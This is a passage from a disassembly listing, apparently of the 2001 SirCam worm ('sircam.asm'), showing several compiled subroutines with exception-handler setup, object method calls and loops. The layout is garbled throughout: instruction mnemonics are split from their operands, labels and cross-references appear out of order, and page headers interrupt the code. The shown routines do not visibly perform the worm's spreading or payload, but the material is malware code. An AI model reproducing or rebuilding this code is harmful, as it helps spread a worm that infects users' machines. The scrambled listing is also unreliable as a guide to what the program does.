; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C7E9
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C7F9:
xor
pop
pop
pop
mov
push
; DATA XREF: sub_40C768+7C\030o
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C816
loc_40C806:
; CODE XREF: CODE:0040C814\031j
lea
eax, [ebp-0Ch]
call
sub_4034C8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C80F:
; DATA XREF: sub_40C768+17\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C806
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C816:
; DATA XREF: CODE:0040C801\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C820
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
mov
mov
mov
call
test
jz
mov
call
xor
push
push
push
mov
mov
; DATA XREF: CODE:0040BA9C\030o
; CODE:0040BBBC\030o
ebp
ebp, esp
ecx
ebx
ebx, edx
[ebp+var_4], eax
eax, ebx
edx, ds:off_40BA48
sub_402C40
al, al
short loc_40C880
eax, [ebp+var_4]
sub_40C890
eax, eax
ebp
offset loc_40C879
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
341
edx, [eax]
dword ptr [edx+40h]
edx, ebx
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+3Ch]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C88A
loc_40C870:
; CODE XREF: sub_40C820+5E\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C879:
; DATA XREF: sub_40C820+26\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C870
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C880:
; CODE XREF: sub_40C820+19\030j
mov
mov
call
edx, ebx
eax, [ebp+var_4]
sub_40C54C
pop
pop
pop
retn
endp
ebx
ecx
ebp
loc_40C88A:
sub_40C820
; DATA XREF: sub_40C820+4B\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C890
proc near
push
mov
cmp
jnz
mov
mov
mov
call
loc_40C8A2:
sub_40C890
inc
pop
retn
endp
; CODE XREF: sub_40C768+25\030p
; sub_40C820+1E\030p ...
ebx
ebx, eax
dword ptr [ebx+4], 0
short loc_40C8A2
dl, 1
eax, ebx
ecx, [eax]
dword ptr [ecx+30h]
; CODE XREF: sub_40C890+7\030j
dword ptr [ebx+4]
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C8A8
proc near
arg_0
= dword ptr
; CODE XREF: sub_40C900+20\031p
8
sircam.asm
Fri Aug 10 12:42:44 2001
342
push
ebp
mov
ebp, esp
push
ebx
push
esi
mov
eax, [ebp+arg_0]
mov
eax, [eax-4]
mov
esi, [eax+20h]
test
esi, esi
jz
short loc_40C8E7
mov
bl, 1
mov
eax, [ebp+arg_0]
mov
eax, esi
mov
edx, ds:off_40BA48
call
sub_402C40
test
al, al
jz
short loc_40C8F7
mov
eax, [ebp+arg_0]
mov
edx, esi
mov
eax, [ebp+arg_0]
mov
eax, [eax-8]
call
sub_40C960
mov
ebx, eax
xor
bl, 1
jmp
short loc_40C8F7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C8E7:
mov
mov
mov
call
test
setnle
; CODE XREF: sub_40C8A8+10\030j
eax, [ebp+arg_0]
eax, [eax-8]
edx, [eax]
dword ptr [edx+14h]
eax, eax
bl
loc_40C8F7:
sub_40C8A8
; CODE XREF: sub_40C8A8+26\030j
; sub_40C8A8+3D\030j
mov
pop
pop
pop
retn
endp
eax, ebx
esi
ebx
ebp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C900
proc near
var_8
var_4
= dword ptr -8
= dword ptr -4
push
mov
add
push
mov
mov
mov
push
push
mov
push
push
push
; DATA XREF: CODE:0040BA98\030o
; CODE:0040BBB8\030o
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
[ebp+var_4], edx
[ebp+var_8], eax
eax, [ebp+var_8]
eax
offset sub_40CF60
eax, [ebp+var_8]
eax
offset sub_40D210
ebp
sircam.asm
sub_40C900
Fri Aug 10 12:42:44 2001
343
call
sub_40C8A8
pop
ecx
mov
ecx, eax
mov
edx, offset sub_40C944
mov
eax, [ebp+var_4]
mov
ebx, [eax]
call
dword ptr [ebx+4]
pop
ebx
pop
ecx
pop
ecx
pop
ebp
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 7
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C944
proc near
; DATA XREF: sub_40C900+28\030o
push
ebx
jz
short loc_40C9B9
loc_40C947:
sub_40C944
imul
endp
add
js
add
; CODE XREF: sub_40C768+84\030p
; sub_40C820+53\030p ...
ebp, [esi+67h], 48FF0073h
al, 83h
short near ptr loc_40C955+1
[ebp+7], dh
loc_40C955:
; CODE XREF: CODE:0040C950\030j
xor
edx, edx
mov
ecx, [eax]
call
dword ptr [ecx+30h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C960
proc near
var_14
var_10
var_9
var_8
var_4
=
=
=
=
=
; CODE XREF: sub_40C8A8+33\030p
dword ptr -14h
dword ptr -10h
byte ptr -9
dword ptr -8
dword ptr -4
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
esi
edi
ecx, ecx
[ebp+var_10], ecx
[ebp+var_14], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40C9F5
dword ptr fs:[eax]
fs:[eax], esp
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
call
mov
mov
mov
call
cmp
jnz
mov
dec
test
jl
inc
xor
[ebp+var_9], 0
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
ebx, eax
eax, [ebp+var_8]
edx, [eax]
dword ptr [edx+14h]
ebx, eax
short loc_40C9DA
esi, ebx
esi
esi, esi
short loc_40C9D6
esi
ebx, ebx
lea
mov
mov
mov
call
mov
; CODE XREF: sub_40C960+74\031j
ecx, [ebp+var_10]
edx, ebx
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_10]
push
lea
mov
mov
mov
call
mov
pop
call
jnz
inc
dec
jnz
; CODE XREF: sub_40C944+1\030j
eax
ecx, [ebp+var_14]
edx, ebx
eax, [ebp+var_8]
edi, [eax]
dword ptr [edi+0Ch]
edx, [ebp+var_14]
eax
sub_403834
short loc_40C9DA
ebx
esi
short loc_40C9A9
mov
[ebp+var_9], 1
loc_40C9A9:
loc_40C9B9:
loc_40C9D6:
; CODE XREF: sub_40C960+44\030j
loc_40C9DA:
; CODE XREF: sub_40C960+3D\030j
; sub_40C960+70\030j
xor
pop
pop
pop
mov
push
loc_40C9E7:
sub_40C960
344
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C9FC
; CODE XREF: CODE:0040C9FA\031j
lea
eax, [ebp+var_14]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C9F5:
; DATA XREF: sub_40C960+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C9E7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C9FC:
; DATA XREF: sub_40C960+82\030o
mov
pop
al, [ebp-9]
edi
sircam.asm
Fri Aug 10 12:42:44 2001
345
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40CA08
sub_40CA08
proc near
mov
eax, [ebp+4]
retn
endp
; CODE XREF: sub_40CA0C+9\031p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40CA0C
proc near
var_8
var_4
= dword ptr -8
= byte ptr -4
sub_40CA0C
push
push
add
mov
mov
call
push
mov
mov
lea
push
push
mov
mov
mov
call
jmp
endp
; CODE XREF: sub_40CA44+2D\031p
ebx
esi
esp, 0FFFFFFF8h
esi, ecx
ebx, edx
sub_40CA08
eax
[esp+0Ch+var_8], esi
[esp+0Ch+var_4], 0
eax, [esp+0Ch+var_8]
eax
0
ecx, ebx
dl, 1
eax, ds:off_40B7A0
sub_40948C
sub_402F98
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop
ecx
pop
edx
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CA44
proc near
var_4
= dword ptr -4
push
mov
push
push
push
push
mov
mov
ebp
ebp, esp
0
ebx
esi
edi
edi, ecx
esi, edx
; CODE XREF: sub_40D2F0+3C\031p
; sub_40D3B8+19\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
push
push
push
mov
lea
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
ebx, eax
eax, eax
ebp
offset loc_40CA8C
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, esi
sub_404B80
edx, [ebp+var_4]
ecx, edi
eax, ebx
sub_40CA0C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CA93
loc_40CA83:
sub_40CA44
346
; CODE XREF: CODE:0040CA91\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CA8C:
; DATA XREF: sub_40CA44+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CA83
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CA93:
; DATA XREF: sub_40CA44+3A\030o
pop
edi
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CA9C
proc near
var_10
var_C
var_8
var_4
=
=
=
=
dword
dword
dword
dword
push
mov
add
push
push
push
xor
mov
mov
mov
mov
mov
xor
push
push
ptr
ptr
ptr
ptr
; DATA XREF: CODE:0040BADC\030o
-10h
-0Ch
-8
-4
ebp
ebp, esp
esp, 0FFFFFFF0h
ebx
esi
edi
ebx, ebx
[ebp+var_10], ebx
[ebp+var_C], ebx
esi, ecx
ebx, edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CB74
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
mov
call
xor
push
push
push
mov
lea
mov
mov
mov
call
mov
mov
mov
call
mov
lea
mov
mov
mov
call
mov
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
mov
call
mov
mov
mov
mov
call
mov
mov
mov
mov
call
xor
pop
pop
pop
mov
push
loc_40CB49:
sub_40CA9C
347
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
sub_40C890
eax, eax
ebp
offset loc_40CB52
dword ptr fs:[eax]
fs:[eax], esp
ecx, [ebp+var_C]
edx, ebx
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
edx, ebx
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+18h]
[ebp+var_8], eax
ecx, [ebp+var_10]
edx, esi
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
ecx, [ebp+var_10]
edx, ebx
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+20h]
edx, esi
eax, [ebp+var_4]
ecx, [eax]
dword ptr [ecx+18h]
ecx, eax
edx, ebx
eax, [ebp+var_4]
ebx, [eax]
dword ptr [ebx+24h]
ecx, [ebp+var_C]
edx, esi
eax, [ebp+var_4]
ebx, [eax]
dword ptr [ebx+20h]
ecx, [ebp+var_8]
edx, esi
eax, [ebp+var_4]
ebx, [eax]
dword ptr [ebx+24h]
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CB59
; CODE XREF: CODE:0040CB57\031j
mov
eax, [ebp+var_4]
call
near ptr loc_40C947+5
retn
endp ; sp = -30h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CB52:
; DATA XREF: sub_40CA9C+31\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CB49
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CB59:
; DATA XREF: sub_40CA9C+A8\030o
sircam.asm
Fri Aug 10 12:42:44 2001
xor
pop
pop
pop
mov
push
348
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CB7B
loc_40CB66:
; CODE XREF: CODE:0040CB79\031j
lea
eax, [ebp-10h]
mov
edx, 2
call
sub_4034EC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CB74:
; DATA XREF: sub_40CA9C+1B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CB66
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CB7B:
; DATA XREF: CODE:0040CB61\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40CB84:
; DATA XREF: CODE:0040BAA4\030o
mov
edx, [eax]
call
dword ptr [edx+14h]
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40CB8C:
; DATA XREF: CODE:0040BAAC\030o
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CB90
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
xor
push
push
push
mov
lea
mov
mov
call
mov
call
call
mov
; DATA XREF: CODE:0040BAE0\030o
; CODE:0040BC00\030o
ebp
ebp, esp
0
ebx
ebx, eax
eax, eax
ebp
offset loc_40CBD5
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ebx
ecx, [eax]
dword ptr [ecx+1Ch]
eax, [ebp+var_4]
sub_4038E8
sub_40765C
ebx, eax
sircam.asm
Fri Aug 10 12:42:44 2001
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40CBDC
loc_40CBCC:
sub_40CB90
349
; CODE XREF: CODE:0040CBDA\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CBD5:
; DATA XREF: sub_40CB90+B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40CBCC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40CBDC:
; DATA XREF: sub_40CB90+37\030o
mov
eax, ebx
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40CBE4
proc near
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
push
mov
add
push
push
push
xor
mov
mov
mov
mov
xor
push
push
push
mov
mov
mov
call
mov
xor
mov
dec
test
jl
inc
ptr
ptr
ptr
ptr
ptr
ptr
; DATA XREF: CODE:0040BAB0\030o
; CODE:0040BBD0\030o
-18h
-14h
-10h
-0Ch
-8
-4
ebp
ebp, esp
esp, 0FFFFFFE8h
ebx
esi
edi
ecx, ecx
[ebp+var_18], ecx
[ebp+var_14], ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, eax
ebp
offset loc_40CCBB
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
edx, [eax]
dword ptr [edx+14h]
[ebp+var_10], eax
ebx, ebx
esi, [ebp+var_10]
esi
esi, esi
short loc_40CC47
esi
sircam.asm
Fri Aug 10 12:42:44 2001
mov
[ebp+var_C], 0
lea
mov
mov
mov
call
mov
call
add
add
inc
dec
jnz
; CODE XREF: sub_40CBE4+61\031j
ecx, [ebp+var_18]
edx, [ebp+var_C]
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_18]
sub_403724
eax, 2
ebx, eax
[ebp+var_C]
esi
short loc_40CC26
mov
mov
xor
call
mov
mov
mov
dec
test
jl
inc
mov
; CODE XREF: sub_40CBE4+38\030j
eax, [ebp+var_8]
ecx, ebx
edx, edx
sub_4035B0
ebx, [ebp+var_8]
ebx, [ebx]
esi, [ebp+var_10]
esi
esi, esi
short loc_40CCA0
esi
[ebp+var_C], 0
lea
mov
mov
mov
call
mov
call
mov
test
jz
mov
mov
mov
call
add
; CODE XREF: sub_40CBE4+BA\031j
ecx, [ebp+var_14]
edx, [ebp+var_C]
eax, [ebp+var_4]
edi, [eax]
dword ptr [edi+0Ch]
eax, [ebp+var_14]
sub_403724
edi, eax
edi, edi
short loc_40CC92
edx, ebx
eax, [ebp+var_14]
ecx, edi
sub_4026B0
ebx, edi
mov
inc
mov
